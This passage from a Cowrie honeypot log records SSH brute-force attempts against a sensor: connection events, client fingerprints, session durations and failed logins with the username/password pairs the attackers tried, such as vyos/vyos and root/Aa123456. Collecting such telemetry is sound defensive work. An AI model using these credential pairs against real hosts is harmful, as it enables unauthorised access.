{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:18.995489Z","src_ip":"150.136.214.177","session":"16a9d055bece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:19.133373Z","src_ip":"150.136.214.177","session":"16a9d055bece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39148,"dst_ip":"10.17.0.5","dst_port":22,"session":"16245d7e94c8","protocol":"ssh","message":"New connection: 91.92.40.36:39148 (10.17.0.5:22) [session: 16245d7e94c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:19.520885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:19.705551Z","src_ip":"91.92.40.36","session":"16245d7e94c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:19.709337Z","src_ip":"91.92.40.36","session":"16245d7e94c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:20.162531Z","src_ip":"150.136.214.177","session":"16a9d055bece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:20.952728Z","src_ip":"91.92.40.36","session":"16245d7e94c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:22.177296Z","src_ip":"91.92.40.36","session":"16245d7e94c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42826,"dst_ip":"10.17.0.5","dst_port":22,"session":"0653246e90f6","protocol":"ssh","message":"New connection: 91.92.40.36:42826 (10.17.0.5:22) [session: 0653246e90f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:29.580665Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":59450,"dst_ip":"10.17.0.5","dst_port":22,"session":"738f31bca1c2","protocol":"ssh","message":"New connection: 101.36.122.139:59450 (10.17.0.5:22) [session: 738f31bca1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:30.010945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:30.015782Z","src_ip":"91.92.40.36","session":"0653246e90f6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:30.018774Z","src_ip":"101.36.122.139","session":"738f31bca1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:30.243638Z","src_ip":"101.36.122.139","session":"738f31bca1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:31.170638Z","src_ip":"91.92.40.36","session":"0653246e90f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lt123456","message":"login attempt [root/Lt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:31.180720Z","src_ip":"101.36.122.139","session":"738f31bca1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:32.412393Z","src_ip":"101.36.122.139","session":"738f31bca1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42950,"dst_ip":"10.17.0.5","dst_port":22,"session":"3692657e6385","protocol":"ssh","message":"New connection: 91.92.40.36:42950 (10.17.0.5:22) [session: 3692657e6385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:35.930587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:36.270309Z","src_ip":"91.92.40.36","session":"3692657e6385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"budda","password":"QWE+df1df","message":"login attempt [budda/QWE+df1df] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:36.924981Z","src_ip":"91.92.40.36","session":"0653246e90f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":53192,"dst_ip":"159.203.135.109","dst_port":22,"session":"b732ce3b1dd3","protocol":"ssh","message":"New connection: 160.187.180.146:53192 (159.203.135.109:22) [session: b732ce3b1dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:36.956396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:36.961396Z","src_ip":"160.187.180.146","session":"b732ce3b1dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:37.178504Z","src_ip":"160.187.180.146","session":"b732ce3b1dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:37.277080Z","src_ip":"91.92.40.36","session":"3692657e6385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"install","password":"install@2025","message":"login attempt [install/install@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:38.074184Z","src_ip":"160.187.180.146","session":"b732ce3b1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:39.294411Z","src_ip":"160.187.180.146","session":"b732ce3b1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:39.635555Z","src_ip":"91.92.40.36","session":"0653246e90f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65424,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd4daf60571f","protocol":"ssh","message":"New connection: 91.92.40.36:65424 (10.17.0.5:22) [session: dd4daf60571f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:40.342679Z"}
{"eventid":"cowrie.session.closed","duration":57.037909746170044,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:40.768444Z","src_ip":"128.199.8.54","session":"2b60235cf5b5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:41.207493Z","src_ip":"91.92.40.36","session":"dd4daf60571f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:41.211907Z","src_ip":"91.92.40.36","session":"dd4daf60571f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:44.547601Z","src_ip":"91.92.40.36","session":"3692657e6385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"69","message":"login attempt [root/69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:45.219076Z","src_ip":"91.92.40.36","session":"dd4daf60571f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:47.302438Z","src_ip":"91.92.40.36","session":"dd4daf60571f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:47.546598Z","src_ip":"91.92.40.36","session":"3692657e6385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25548,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f87e828ebee","protocol":"ssh","message":"New connection: 91.92.40.36:25548 (10.17.0.5:22) [session: 6f87e828ebee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:47.681138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:48.614457Z","src_ip":"91.92.40.36","session":"6f87e828ebee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:48.641514Z","src_ip":"91.92.40.36","session":"6f87e828ebee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:52.049048Z","src_ip":"91.92.40.36","session":"6f87e828ebee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:53.236981Z","src_ip":"91.92.40.36","session":"6f87e828ebee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45376,"dst_ip":"10.17.0.5","dst_port":22,"session":"e264b17faeeb","protocol":"ssh","message":"New connection: 91.92.40.36:45376 (10.17.0.5:22) [session: e264b17faeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:58.865087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:59.260356Z","src_ip":"91.92.40.36","session":"e264b17faeeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 